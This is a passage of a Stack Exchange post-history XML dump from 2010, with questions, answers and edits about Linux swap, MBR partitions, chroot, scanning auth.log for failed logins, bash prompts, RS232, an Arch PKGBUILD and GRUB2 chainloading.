  <row Id="6691" PostHistoryTypeId="5" PostId="3169" RevisionGUID="7602c3f1-56de-48d8-9c12-c69cff198a07" CreationDate="2010-10-15T21:04:25.570" UserId="1327" Comment="added 6 characters in body; edited body" Text="A very &quot;untechnical&quot; explanation:&#xD;&#xA;&#xD;&#xA;[Swap][1] area is **hard drive space** that is reserved to act as extra **[RAM][3]** for when your computer needs more **RAM** than what is available. Note that when this happens your computer might slow down noticably.&#xD;&#xA;&#xD;&#xA;The Ubuntu *help* website [recommends][2] that you have double the ammount of RAM as SWAP. So if you have 1GB of RAM, you should have 2GB SWAP, however your computer should work fine with less SWAP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://en.wikipedia.org/wiki/Swap_space&#xD;&#xA;[2]:https://help.ubuntu.com/community/SwapFaq#How%20much%20swap%20do%20I%20need?&#xD;&#xA;[3]:http://en.wikipedia.org/wiki/Random-access_memory" />
  <row Id="6692" PostHistoryTypeId="2" PostId="3172" RevisionGUID="610b1053-6ae8-4c9a-9891-0d7d6cb56a1d" CreationDate="2010-10-15T21:05:07.777" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;I would like to know &#xD;&#xA;&#xD;&#xA;1. What is the exact meaning of primary partitions? why it is named so ?and why it is restricted to 4 ?&#xD;&#xA;&#xD;&#xA;2. What is mean by extended partitions ? why it is named so? and what is the possible number of extended partitions in the hard disk?&#xD;&#xA;&#xD;&#xA;3. What is mean by logical partitions? why it is named so? How it is calculated?&#xD;&#xA;&#xD;&#xA;What are the advantages of these software partitioning ?&#xD;&#xA;&#xD;&#xA;Is it it possible to install OS(Linux/windows) in all partitions ? If no , why ?&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6693" PostHistoryTypeId="1" PostId="3172" RevisionGUID="610b1053-6ae8-4c9a-9891-0d7d6cb56a1d" CreationDate="2010-10-15T21:05:07.777" UserId="2269" Text="Meaning of hard disk  drive software partitions?" />
  <row Id="6694" PostHistoryTypeId="3" PostId="3172" RevisionGUID="610b1053-6ae8-4c9a-9891-0d7d6cb56a1d" CreationDate="2010-10-15T21:05:07.777" UserId="2269" Text="élinuxàépartitionàésoftwareà" />
  <row Id="6695" PostHistoryTypeId="5" PostId="3166" RevisionGUID="7e1c0219-9046-4616-b22f-69a200cab924" CreationDate="2010-10-15T21:06:33.707" UserId="1327" Comment="deleted 16 characters in body; edited tags" Text="When i installed ubuntu in my x86 machine, I had to configure some memory as 'swap area'.&#xD;&#xA;&#xD;&#xA;What is the use of this memory and what is the importance of this memory in linux file systems?&#xD;&#xA;&#xD;&#xA;How can I determine the exact size of 'swap area' in a machine for the safe working of linux inside in it?" />
  <row Id="6696" PostHistoryTypeId="6" PostId="3166" RevisionGUID="7e1c0219-9046-4616-b22f-69a200cab924" CreationDate="2010-10-15T21:06:33.707" UserId="1327" Comment="deleted 16 characters in body; edited tags" Text="éfilesystemsàéswapà" />
  <row Id="6697" PostHistoryTypeId="5" PostId="3172" RevisionGUID="5e6025ee-50e6-4e41-871e-f391213f55ad" CreationDate="2010-10-15T21:17:40.870" UserId="1327" Comment="deleted 19 characters in body" Text="&#xD;&#xA;I would like to know &#xD;&#xA;&#xD;&#xA;1. What is the exact meaning of primary partitions? Why it is named so? and why it is restricted to 4?&#xD;&#xA;&#xD;&#xA;2. What is meant by extended partitions? Why it is named so? and what is the possible number of extended partitions in the hard disk?&#xD;&#xA;&#xD;&#xA;3. What is mean by logical partitions? Why it is named so? How it is calculated?&#xD;&#xA;&#xD;&#xA;What are the advantages of these software partitioning?&#xD;&#xA;&#xD;&#xA;Is it it possible to install OS(Linux/windows) in all partitions ? If no, why?" />
  <row Id="6698" PostHistoryTypeId="2" PostId="3173" RevisionGUID="e5cae31a-9ce2-46b0-bf1b-4eaf01e4dbda" CreationDate="2010-10-15T21:26:23.777" UserId="1327" Text="See this [page][1] for more details&#xD;&#xA;&#xD;&#xA;&gt; In the current IBM PC architecture,&#xD;&#xA;&gt; there is a partition table in the&#xD;&#xA;&gt; drive's Master Boot Record (section of&#xD;&#xA;&gt; the hard dirve that contains the&#xD;&#xA;&gt; commands necessary to start the&#xD;&#xA;&gt; operating system), or MBR, that lists&#xD;&#xA;&gt; information about the partitions on&#xD;&#xA;&gt; the hard drive. This partition table&#xD;&#xA;&gt; is then further split into 4 partition&#xD;&#xA;&gt; table entries, with each entries&#xD;&#xA;&gt; corresponding to a partition. Due to&#xD;&#xA;&gt; this it is only possible to have four&#xD;&#xA;&gt; partitions. These 4 partitions are&#xD;&#xA;&gt; typically known as primary partitions.&#xD;&#xA;&gt; To overcome this restriction, system&#xD;&#xA;&gt; developers decided to add a new type&#xD;&#xA;&gt; of partition called the extended&#xD;&#xA;&gt; partition. By replacing one of the&#xD;&#xA;&gt; four primary partitions with an&#xD;&#xA;&gt; extended partition, you can then make&#xD;&#xA;&gt; an additional 24 logical partitions&#xD;&#xA;&gt; within the extended one.&#xD;&#xA;&#xD;&#xA;[1]:http://www.bleepingcomputer.com/tutorials/tutorial115.html" />
  <row Id="6699" PostHistoryTypeId="5" PostId="3172" RevisionGUID="4617d214-d45a-4d94-b895-ed6e587a1c06" CreationDate="2010-10-15T21:28:45.477" UserId="1327" Comment="deleted 2 characters in body; edited tags" Text="I would like to know &#xD;&#xA;&#xD;&#xA;1. What is the exact meaning of primary partitions? Why it is named so? and why it is restricted to 4?&#xD;&#xA;&#xD;&#xA;2. What is meant by extended partitions? Why it is named so? and what is the possible number of extended partitions in the hard disk?&#xD;&#xA;&#xD;&#xA;3. What is mean by logical partitions? Why it is named so? How it is calculated?&#xD;&#xA;&#xD;&#xA;What are the advantages of these software partitioning?&#xD;&#xA;&#xD;&#xA;Is it it possible to install OS(Linux/windows) in all partitions ? If no, why?" />
  <row Id="6700" PostHistoryTypeId="6" PostId="3172" RevisionGUID="4617d214-d45a-4d94-b895-ed6e587a1c06" CreationDate="2010-10-15T21:28:45.477" UserId="1327" Comment="deleted 2 characters in body; edited tags" Text="épartitionà" />
  <row Id="6701" PostHistoryTypeId="5" PostId="3109" RevisionGUID="40361c0e-1e60-450a-989e-02bf31444be7" CreationDate="2010-10-15T21:34:28.170" UserId="1327" Comment="added 20 characters in body" Text="Sometimes, I would like to umount a **usb device**, but I get a `drive is busy` error.&#xD;&#xA;&#xD;&#xA;How do I find out which proccesses or programs are accessing the device?" />
  <row Id="6702" PostHistoryTypeId="2" PostId="3174" RevisionGUID="3df93ccc-5a35-48e9-8cdd-a448c4556bf2" CreationDate="2010-10-15T21:51:38.673" UserId="885" Text="[Chroot](http://en.wikipedia.org/wiki/Chroot) is a unix feature that lets you restrict a process to a subtree of the filesystem. One traditional use is FTP servers that chroot to a subset of the filesystem containing only a few utilities and configuration files, plus the files to serve; that way, even if an intruder manages to exploit a bug in the server, they won't be able to access files outside the chroot. Another common use is when you're installing or repairing a unix system and you boot from a different system (such as a live CD): once a basic system is available, you can chroot into it and do more work.&#xD;&#xA;&#xD;&#xA;The prompt setting includes the content of `$debian_chroot` in the prompt, inside parentheses, unless it is empty. This variable is initialized in `/etc/bash.bashrc` to the contents of the file `/etc/debian_chroot`. Thus, if you follow the convention to include a name for your chroots at the location `/path/to/chroot/etc/debian_chroot`, your prompt will contain an indication of which chroot you're in. A program that follows this convention is [schroot](http://packages.debian.org/schroot), a tool for building and using chroots conveniently (I think the original intent was to facilitate having a stable Debian in a chroot inside an unstable or testing Debian, but the program has evolved quite a bit beyond that).&#xD;&#xA;" />
  <row Id="6703" PostHistoryTypeId="5" PostId="3173" RevisionGUID="e4ee4d37-8457-4afa-b483-61ff88197618" CreationDate="2010-10-15T21:53:40.113" UserId="1327" Comment="added 665 characters in body; added 73 characters in body" Text="Hard drives have a built-in partition table on the **[MBR][2]**. Due to the structure of that table the drive is limited to **four** partitions. These are called **primary** partitions. &#xD;&#xA;&#xD;&#xA;You can have more partitions by creating *virtual* ( called **logical** ) partitions on  one of the four **primary** partitions. There is a limit of 24 logical partitions.&#xD;&#xA;&#xD;&#xA;The partition you choose to split into logical partitions is called the **extended** partition, and as far I understand you can have only one.&#xD;&#xA;&#xD;&#xA;The advantage to logical partitions is quite simply  that you can have more than 4 partitions on a disk.&#xD;&#xA;&#xD;&#xA;You should be able to install any OS on all of the partitions.&#xD;&#xA;&#xD;&#xA;See this [page][1] for more details&#xD;&#xA;&#xD;&#xA;&gt; In the current IBM PC architecture,&#xD;&#xA;&gt; there is a partition table in the&#xD;&#xA;&gt; drive's Master Boot Record (section of&#xD;&#xA;&gt; the hard dirve that contains the&#xD;&#xA;&gt; commands necessary to start the&#xD;&#xA;&gt; operating system), or MBR, that lists&#xD;&#xA;&gt; information about the partitions on&#xD;&#xA;&gt; the hard drive. This partition table&#xD;&#xA;&gt; is then further split into 4 partition&#xD;&#xA;&gt; table entries, with each entries&#xD;&#xA;&gt; corresponding to a partition. Due to&#xD;&#xA;&gt; this it is only possible to have four&#xD;&#xA;&gt; partitions. These 4 partitions are&#xD;&#xA;&gt; typically known as primary partitions.&#xD;&#xA;&gt; To overcome this restriction, system&#xD;&#xA;&gt; developers decided to add a new type&#xD;&#xA;&gt; of partition called the extended&#xD;&#xA;&gt; partition. By replacing one of the&#xD;&#xA;&gt; four primary partitions with an&#xD;&#xA;&gt; extended partition, you can then make&#xD;&#xA;&gt; an additional 24 logical partitions&#xD;&#xA;&gt; within the extended one.&#xD;&#xA;&#xD;&#xA;[1]:http://www.bleepingcomputer.com/tutorials/tutorial115.html&#xD;&#xA;[2]:http://en.wikipedia.org/wiki/Master_boot_record" />
  <row Id="6704" PostHistoryTypeId="5" PostId="3136" RevisionGUID="a71a812a-b847-4734-8bb1-2ec37406000c" CreationDate="2010-10-15T22:06:46.467" UserId="1327" Comment="deleted 18 characters in body" Text="I need to install another kernel(2.6.34) into my fedora machine(x86) and i need to show the old and new boot up options in the boot menu(both new and old kernel)&#xD;&#xA;&#xD;&#xA;I have downloaded the new kernel and i need to compile it and need to build it.&#xD;&#xA;&#xD;&#xA;can you explain me the steps for doing that?&#xD;&#xA;&#xD;&#xA;I got  the correct steps from this discussion  and am having doubts in the steps 6 and 7 in the below link which explains the installation of new kernel.&#xD;&#xA;&#xD;&#xA;http://www.cyberciti.biz/tips/compiling-linux-kernel-26.html&#xD;&#xA;&#xD;&#xA;Also can you explain the effective configuration of 'menuconfig' and its what it actually aims?" />
  <row Id="6705" PostHistoryTypeId="2" PostId="3175" RevisionGUID="ae292a3c-1401-47d1-9501-8ff9b52c0bcf" CreationDate="2010-10-15T22:37:39.337" UserId="1002" Text="One reason why some firmwares aren't packaged/included is that sometimes there is no license that allows that, or there is a license that doesn't allow that.&#xD;&#xA;&#xD;&#xA;It seems like in this case, the author of the driver has permission to distribute those files, but there is no info about redistribution (so somebody should ask Mustek for a license that clearly states that is allowed)." />
  <row Id="6706" PostHistoryTypeId="2" PostId="3176" RevisionGUID="28478971-7872-4984-acc5-22e339152ea1" CreationDate="2010-10-15T23:23:08.320" UserId="451" Text="I wrote a bash command to scan `/var/log/auth.log` for messages occurring on the current day indicating unauthorised access.  Currently it just fetches messages matching `BREAK-IN` and `unauthorized`.&#xD;&#xA;&#xD;&#xA;What other strings should I search for in `/var/log/auth.log` to keep tabs on unauthorized access?&#xD;&#xA;&#xD;&#xA;Here's the script for reference:&#xD;&#xA;&#xD;&#xA;    cat /var/log/auth.log|grep &quot;$(date|awk '{print $2&quot; &quot;$3}')&quot;|grep -E '(BREAK-IN|unauthorized)'" />
  <row Id="6707" PostHistoryTypeId="1" PostId="3176" RevisionGUID="28478971-7872-4984-acc5-22e339152ea1" CreationDate="2010-10-15T23:23:08.320" UserId="451" Text="What strings should I look for in /var/log/auth.log?" />
  <row Id="6708" PostHistoryTypeId="3" PostId="3176" RevisionGUID="28478971-7872-4984-acc5-22e339152ea1" CreationDate="2010-10-15T23:23:08.320" UserId="451" Text="écommandölineàébashàésshàéauthenticationà" />
  <row Id="6709" PostHistoryTypeId="2" PostId="3177" RevisionGUID="8cd4286d-d500-4f34-a99e-b2712f5dc324" CreationDate="2010-10-15T23:25:20.687" UserId="1571" Text="How can I get the last executed command from bash? I know that !!:p prints the last command, but it seems I can't use that anywhere except the bash prompt. I tried `echo !!:p` but it prints &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;~/Downloads$ pwd&#xD;&#xA;Downloads&#xD;&#xA;~/Downloads$ echo !!:p&#xD;&#xA;echo pwd&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I want to use this inside the `PROMPT_COMMAND` variable so I need to get it as a string so I can just print it out. Is there an easy way to do this? Am I looking in the wrong place?" />
  <row Id="6710" PostHistoryTypeId="1" PostId="3177" RevisionGUID="8cd4286d-d500-4f34-a99e-b2712f5dc324" CreationDate="2010-10-15T23:25:20.687" UserId="1571" Text="Printing (saving) the last bash input command" />
  <row Id="6711" PostHistoryTypeId="3" PostId="3177" RevisionGUID="8cd4286d-d500-4f34-a99e-b2712f5dc324" CreationDate="2010-10-15T23:25:20.687" UserId="1571" Text="ébashàépromptà" />
  <row Id="6714" PostHistoryTypeId="5" PostId="3177" RevisionGUID="2b1d270d-e389-4758-b509-661afaf3fbcb" CreationDate="2010-10-15T23:40:40.993" UserId="1571" Comment="added 525 characters in body" Text="How can I get the last executed command from bash? I know that !!:p prints the last command, but it seems I can't use that anywhere except the bash prompt. I tried `echo !!:p` but it prints &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;~/Downloads$ pwd&#xD;&#xA;Downloads&#xD;&#xA;~/Downloads$ echo !!:p&#xD;&#xA;echo pwd&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I want to use this inside the `PROMPT_COMMAND` variable so I need to get it as a string so I can just print it out. Is there an easy way to do this? Am I looking in the wrong place?&#xD;&#xA;&#xD;&#xA;I guess I'm not clear. I need to store the last command run so I can re-display it after the output and before the next prompt. For example this is what I want the output to look like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;~/Downloads$ pwd&#xD;&#xA;Downloads&#xD;&#xA;&#xD;&#xA;pwd&#xD;&#xA;~/Downloads$&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I'm doing this my changing my prompt in my `.bashrc` file&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;PROMPT_COMMAND='echo -en &quot;\033[38;5;2m&quot;!!:p&quot;\033[0m\n&quot;'&#xD;&#xA;PS1='\W\$'&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;But !!:p only works correctly from the bash prompt. So how can I store the last command so that I can reprint it later?&#xD;&#xA;" />
  <row Id="6715" PostHistoryTypeId="2" PostId="3179" RevisionGUID="f679f155-4e0e-4b47-9dd9-1f45d4b90940" CreationDate="2010-10-16T00:14:26.937" UserId="885" Text="You can access the just-executed command line with the `history` built-in. (I have no idea why `history 1` prints the just-executed command line but `fc -nl -1` prints the previous commmand, as does `fc -nl 0`.)&#xD;&#xA;&#xD;&#xA;    prompt_function () {&#xD;&#xA;      local prompt_history=&quot;$(history 1)&quot;&#xD;&#xA;      prompt_history=${prompt_history:7}&#xD;&#xA;      echo -En $'\033[38;5;2m'&quot;$prompt_history&quot;$'\033[0m\n'&#xD;&#xA;    }&#xD;&#xA;    PROMPT_COMMAND=prompt_function&#xD;&#xA;&#xD;&#xA;(Note that `echo -en ...&quot;$prompt_history&quot;...` would expand backslashes in the command line, hence my avoidance of `echo -e`.).&#xD;&#xA;" />
  <row Id="6716" PostHistoryTypeId="2" PostId="3180" RevisionGUID="40a857d7-5ea0-4c0f-910d-f4a9755696d5" CreationDate="2010-10-16T00:49:34.143" UserId="2309" Text="I'm working in a project in which I will have to deal with serial communications. For testing, I want make to 2 computers speak to each other (with my interaction) via RS232.&#xD;&#xA;&#xD;&#xA;Will the next thing work?&#xD;&#xA;&#xD;&#xA;in computer A:&#xD;&#xA;&#xD;&#xA;    # cat /dev/ttyS0&#xD;&#xA;&#xD;&#xA;in computer B:&#xD;&#xA;&#xD;&#xA;    # echo &lt;something&gt; &gt;&gt; /dev/ttyS0&#xD;&#xA;&#xD;&#xA;Will computer A, receive data from B, or not?&#xD;&#xA;&#xD;&#xA;If I'm wrong, what would be the easiest way to send something to the other computer?&#xD;&#xA;&#xD;&#xA;Ideas are welcome!" />
  <row Id="6717" PostHistoryTypeId="1" PostId="3180" RevisionGUID="40a857d7-5ea0-4c0f-910d-f4a9755696d5" CreationDate="2010-10-16T00:49:34.143" UserId="2309" Text="RS232 chat. Simplest way?" />
  <row Id="6718" PostHistoryTypeId="3" PostId="3180" RevisionGUID="40a857d7-5ea0-4c0f-910d-f4a9755696d5" CreationDate="2010-10-16T00:49:34.143" UserId="2309" Text="ébashà" />
  <row Id="6719" PostHistoryTypeId="2" PostId="3181" RevisionGUID="1db91eda-9025-4624-af1a-3b8b3b79defb" CreationDate="2010-10-16T01:36:25.587" UserId="2311" Text="You could look for &quot;Invalid user&quot; which is thrown when someone tries to logon with an account that does not exist.  It will also throw up &quot;Failed password&quot; when you enter in an invalid password.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, you dont need to use cat to dump the file to grep.  Grep can already look at the file as its second option.  'Grep search-criteria /path/tp/file'" />
  <row Id="6720" PostHistoryTypeId="2" PostId="3182" RevisionGUID="f0e7101d-c14c-4e51-96af-6d9c50d7e3dc" CreationDate="2010-10-16T01:48:31.653" UserId="2311" Text="We can only have 4 Primary partitions because of the Master Boot Record being 512 bytes.  64 of those bytes are available for the partition Table.  A primary partition takes 16 bytes.  The other 446 bytes are used for the rest of the MBR.  &#xD;&#xA;&#xD;&#xA;If you want a really technical answer, you can read the Wikipedia article, &#xD;&#xA;http://en.wikipedia.org/wiki/Master_boot_record&#xD;&#xA;&#xD;&#xA;It has images of the MBR and a breakdown of each sections functions, as well as the breakdown of the Partition table and each sections functions." />
  <row Id="6722" PostHistoryTypeId="5" PostId="3176" RevisionGUID="a93facd4-0aee-4c9a-898e-198e0eb2448c" CreationDate="2010-10-16T01:51:49.267" UserId="451" Comment="added 26 characters in body" Text="I wrote a bash command to scan `/var/log/auth.log` for messages occurring on the current day indicating unauthorised access.  Currently it just fetches messages matching `BREAK-IN` and `unauthorized`.&#xD;&#xA;&#xD;&#xA;What other strings should I search for in `/var/log/auth.log` to keep tabs on unauthorized access?&#xD;&#xA;&#xD;&#xA;Here's the script for reference:&#xD;&#xA;&#xD;&#xA;    cat /var/log/auth.log|grep &quot;$(date|awk '{print $2&quot; &quot;$3}')&quot;|grep -E '(BREAK-IN|Invalid user|Failed|refused|su|Illegal)'" />
  <row Id="6723" PostHistoryTypeId="5" PostId="3176" RevisionGUID="6f4b44ef-a809-4271-a9f7-1766f4e21e5d" CreationDate="2010-10-16T02:00:34.537" UserId="451" Comment="added 231 characters in body; added 24 characters in body" Text="I wrote a bash command to scan `/var/log/auth.log` for messages occurring on the current day indicating unauthorised access.  Currently it just fetches messages matching `BREAK-IN` and `unauthorized`.&#xD;&#xA;&#xD;&#xA;What other strings should I search for in `/var/log/auth.log` to keep tabs on unauthorized access?&#xD;&#xA;&#xD;&#xA;Here's the script for reference:&#xD;&#xA;&#xD;&#xA;    cat /var/log/auth.log|grep &quot;$(date|awk '{print $2&quot; &quot;$3}')&quot;|grep -E '(BREAK-IN|Invalid user|Failed|refused|su|Illegal)'&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Edit ##&#xD;&#xA;&#xD;&#xA;Here's the amended command based on Justins suggestions and what I found through Google&#xD;&#xA;&#xD;&#xA;    grep &quot;$(date|awk '{print $2&quot; &quot;$3}')&quot; /var/log/auth.log|grep -E '(BREAK-IN|Invalid user|Failed|refused|su|Illegal)'" />
  <row Id="6724" PostHistoryTypeId="2" PostId="3183" RevisionGUID="9582f2a4-7bd2-462d-803e-935f0d6e0976" CreationDate="2010-10-16T02:13:58.903" UserId="2309" Text="As I would expect, there are a lot of Arch Linux users in here, and I think one of you can help me before upload my first PKGBUILD.&#xD;&#xA;&#xD;&#xA;The package I want to build is from a git repo. I've read the wiki guidelines but the CVS [page][1] is not very complete...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.archlinux.org/index.php/Arch_CVS_%26_SVN_PKGBUILD_guidelines&#xD;&#xA;&#xD;&#xA;    # Maintainer: Tomas Sironi &lt;sironitomas at gmail dot com&gt;&#xD;&#xA;    &#xD;&#xA;    pkgname=mutter-meego-git&#xD;&#xA;    pkgver=20101015&#xD;&#xA;    pkgrel=1&#xD;&#xA;    pkgdesc=&quot;&quot;&#xD;&#xA;    arch=('i686' 'x86_64')&#xD;&#xA;    url=&quot;http://http://git.gitorious.org/meego-netbook-ux/mutter-meego/&quot;&#xD;&#xA;    license=('GPL')&#xD;&#xA;    groups=()&#xD;&#xA;    depends=()&#xD;&#xA;    makedepends=('git')&#xD;&#xA;    optdepends=()&#xD;&#xA;    provides=('mutter-meego')&#xD;&#xA;    conflicts=('mutter-meego')&#xD;&#xA;    &#xD;&#xA;    _gitroot=&quot;git://gitorious.org/meego-netbook-ux/mutter-meego.git&quot;&#xD;&#xA;    _gitname=&quot;mutter-meego-git&quot;&#xD;&#xA;    &#xD;&#xA;    replaces=()&#xD;&#xA;    backup=()&#xD;&#xA;    options=()&#xD;&#xA;    install=&#xD;&#xA;    #~ source=($pkgname-$pkgver.tar.gz)&#xD;&#xA;    noextract=()&#xD;&#xA;    md5sums=() #generate with 'makepkg -g'&#xD;&#xA;    &#xD;&#xA;    build() {&#xD;&#xA;        export INCLUDE=&quot;/usr/include&quot;&#xD;&#xA;    &#xD;&#xA;        msg &quot;Connecting to the GIT server...&quot;&#xD;&#xA;        if [ -d ${_gitname}/.git ]; then&#xD;&#xA;            cd ${_gitname}&#xD;&#xA;            git pull&#xD;&#xA;        else&#xD;&#xA;            git clone ${_gitroot} ${_gitname}&#xD;&#xA;            cd ${_gitname}&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        ./configure.ac -prefix /usr \&#xD;&#xA;                    -libdir /usr/lib&#xD;&#xA;        make || return 1&#xD;&#xA;        make INSTALL_ROOT=$pkgdir install || return 1&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    package() {&#xD;&#xA;      cd $srcdir/$pkgname-$pkgver&#xD;&#xA;      make DESTDIR=$pkgdir install&#xD;&#xA;    }" />
  <row Id="6725" PostHistoryTypeId="1" PostId="3183" RevisionGUID="9582f2a4-7bd2-462d-803e-935f0d6e0976" CreationDate="2010-10-16T02:13:58.903" UserId="2309" Text="Help with PKGBUILD" />
  <row Id="6726" PostHistoryTypeId="3" PostId="3183" RevisionGUID="9582f2a4-7bd2-462d-803e-935f0d6e0976" CreationDate="2010-10-16T02:13:58.903" UserId="2309" Text="épackagingàéarchölinuxà" />
  <row Id="6727" PostHistoryTypeId="5" PostId="3183" RevisionGUID="dd92daa3-7790-49f5-9337-06471a353eba" CreationDate="2010-10-16T02:27:39.047" UserId="2309" Comment="added 131 characters in body" Text="As I would expect, there are a lot of Arch Linux users in here, and I think one of you can help me before upload my first PKGBUILD.&#xD;&#xA;&#xD;&#xA;The package I want to build is from a git repo. I've read the wiki guidelines but the CVS [page][1] is not very complete... When I makepkg, the procces seem to go stright, but in some point, it get stucked. I don't know how to proceed. Could you help me?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.archlinux.org/index.php/Arch_CVS_%26_SVN_PKGBUILD_guidelines&#xD;&#xA;&#xD;&#xA;    # Maintainer: Tomas Sironi &lt;sironitomas at gmail dot com&gt;&#xD;&#xA;    &#xD;&#xA;    pkgname=mutter-meego-git&#xD;&#xA;    pkgver=20101015&#xD;&#xA;    pkgrel=1&#xD;&#xA;    pkgdesc=&quot;&quot;&#xD;&#xA;    arch=('i686' 'x86_64')&#xD;&#xA;    url=&quot;http://http://git.gitorious.org/meego-netbook-ux/mutter-meego/&quot;&#xD;&#xA;    license=('GPL')&#xD;&#xA;    groups=()&#xD;&#xA;    depends=()&#xD;&#xA;    makedepends=('git')&#xD;&#xA;    optdepends=()&#xD;&#xA;    provides=('mutter-meego')&#xD;&#xA;    conflicts=('mutter-meego')&#xD;&#xA;    &#xD;&#xA;    _gitroot=&quot;git://gitorious.org/meego-netbook-ux/mutter-meego.git&quot;&#xD;&#xA;    _gitname=&quot;mutter-meego-git&quot;&#xD;&#xA;    &#xD;&#xA;    replaces=()&#xD;&#xA;    backup=()&#xD;&#xA;    options=()&#xD;&#xA;    install=&#xD;&#xA;    #~ source=($pkgname-$pkgver.tar.gz)&#xD;&#xA;    noextract=()&#xD;&#xA;    md5sums=() #generate with 'makepkg -g'&#xD;&#xA;    &#xD;&#xA;    build() {&#xD;&#xA;        export INCLUDE=&quot;/usr/include&quot;&#xD;&#xA;    &#xD;&#xA;        msg &quot;Connecting to the GIT server...&quot;&#xD;&#xA;        if [ -d ${_gitname}/.git ]; then&#xD;&#xA;            cd ${_gitname}&#xD;&#xA;            git pull&#xD;&#xA;        else&#xD;&#xA;            git clone ${_gitroot} ${_gitname}&#xD;&#xA;            cd ${_gitname}&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        ./configure.ac -prefix /usr \&#xD;&#xA;                    -libdir /usr/lib&#xD;&#xA;        make || return 1&#xD;&#xA;        make INSTALL_ROOT=$pkgdir install || return 1&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    package() {&#xD;&#xA;      cd $srcdir/$pkgname-$pkgver&#xD;&#xA;      make DESTDIR=$pkgdir install&#xD;&#xA;    }" />
  <row Id="6728" PostHistoryTypeId="5" PostId="3075" RevisionGUID="9dcb30b3-bbae-403f-9439-9e714ed1d72b" CreationDate="2010-10-16T02:27:43.340" UserId="250" Comment="added 1169 characters in body" Text="This is really getting me down. I have Gentoo and Ubuntu, both with Grub2. Gentoo has a dedicated `/boot` partition, while Ubuntu does not. I have a `menuentry` in Gentoo's `/etc/grub.d/40_custom` to boot Ubuntu (and Ubuntu does boot OK).&#xD;&#xA;&#xD;&#xA;Because Ubuntu comes with Grub I want to chainload into that one, instead of maintaining my entry which sets the root, kernel, initrd and stuff. This is what I have for the chainloader (Ubuntu is on `/dev/sda4` and I have already installed Grub there):&#xD;&#xA;&#xD;&#xA;    menuentry 'Chainloader' {&#xD;&#xA;        insmod chain&#xD;&#xA;        set root=(hd0,4)&#xD;&#xA;        chainloader +1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It is giving me `error: Invalid signature` and I found no solution available. Can someone point out something?&#xD;&#xA;&#xD;&#xA;This is the result of `&lt;/dev/sda4 head -c 512 | hd`&#xD;&#xA;&#xD;&#xA;    00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xD;&#xA;    *&#xD;&#xA;    00000200&#xD;&#xA;&#xD;&#xA;This is the result of `fdisk -l`. `/dev/sda1` is `/boot` of Gentoo, Gentoo is in `/dev/sda2`, Ubuntu is in `/dev/sda4`. Ubuntu's `/boot` is in `/dev/sda4` too.&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 160.0 GB, 160041885696 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 19457 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0xe001152b&#xD;&#xA;&#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1               1           9       72261   83  Linux&#xD;&#xA;    /dev/sda2              10       13064   104864287+  8e  Linux LVM&#xD;&#xA;    /dev/sda4   *       18152       19457    10490445   83  Linux&#xD;&#xA;&#xD;&#xA;There is no error with `grub-install /dev/sda4 --no-floppy --force`&#xD;&#xA;&#xD;&#xA;    /usr/sbin/grub-setup: warn: Attempting to install GRUB to a partition instead of the MBR.  This is a BAD idea..&#xD;&#xA;    /usr/sbin/grub-setup: warn: Embedding is not possible.  GRUB can only be installed in this setup by using blocklists.  However, blocklists are UNRELIABLE and their use is discouraged..&#xD;&#xA;    Installation finished. No error reported.&#xD;&#xA;" />
  <row Id="6729" PostHistoryTypeId="10" PostId="3172" RevisionGUID="a8d84d8d-c5bc-4ce9-988f-d38be55a43cc" CreationDate="2010-10-16T03:22:56.553" UserId="29" CloseReasonId="2" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="6730" PostHistoryTypeId="5" PostId="3183" RevisionGUID="7ecb4c53-9681-4e1e-b602-22ad853cbb9a" CreationDate="2010-10-16T03:47:24.530" UserId="29" Comment="fix typos and grammar" Text="As I would expect, there are a lot of Arch Linux users in here, and I think one of you can help me before upload my first PKGBUILD.&#xD;&#xA;&#xD;&#xA;The package I want to build is from a git repo. I've read the wiki guidelines but the CVS [page][1] is not very complete... When I makepkg, the procces seem to go straight, but in some point, it gets stuck. I don't know how to proceed. Could you help me?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.archlinux.org/index.php/Arch_CVS_%26_SVN_PKGBUILD_guidelines&#xD;&#xA;&#xD;&#xA;    # Maintainer: Tomas Sironi &lt;sironitomas at gmail dot com&gt;&#xD;&#xA;    &#xD;&#xA;    pkgname=mutter-meego-git&#xD;&#xA;    pkgver=20101015&#xD;&#xA;    pkgrel=1&#xD;&#xA;    pkgdesc=&quot;&quot;&#xD;&#xA;    arch=('i686' 'x86_64')&#xD;&#xA;    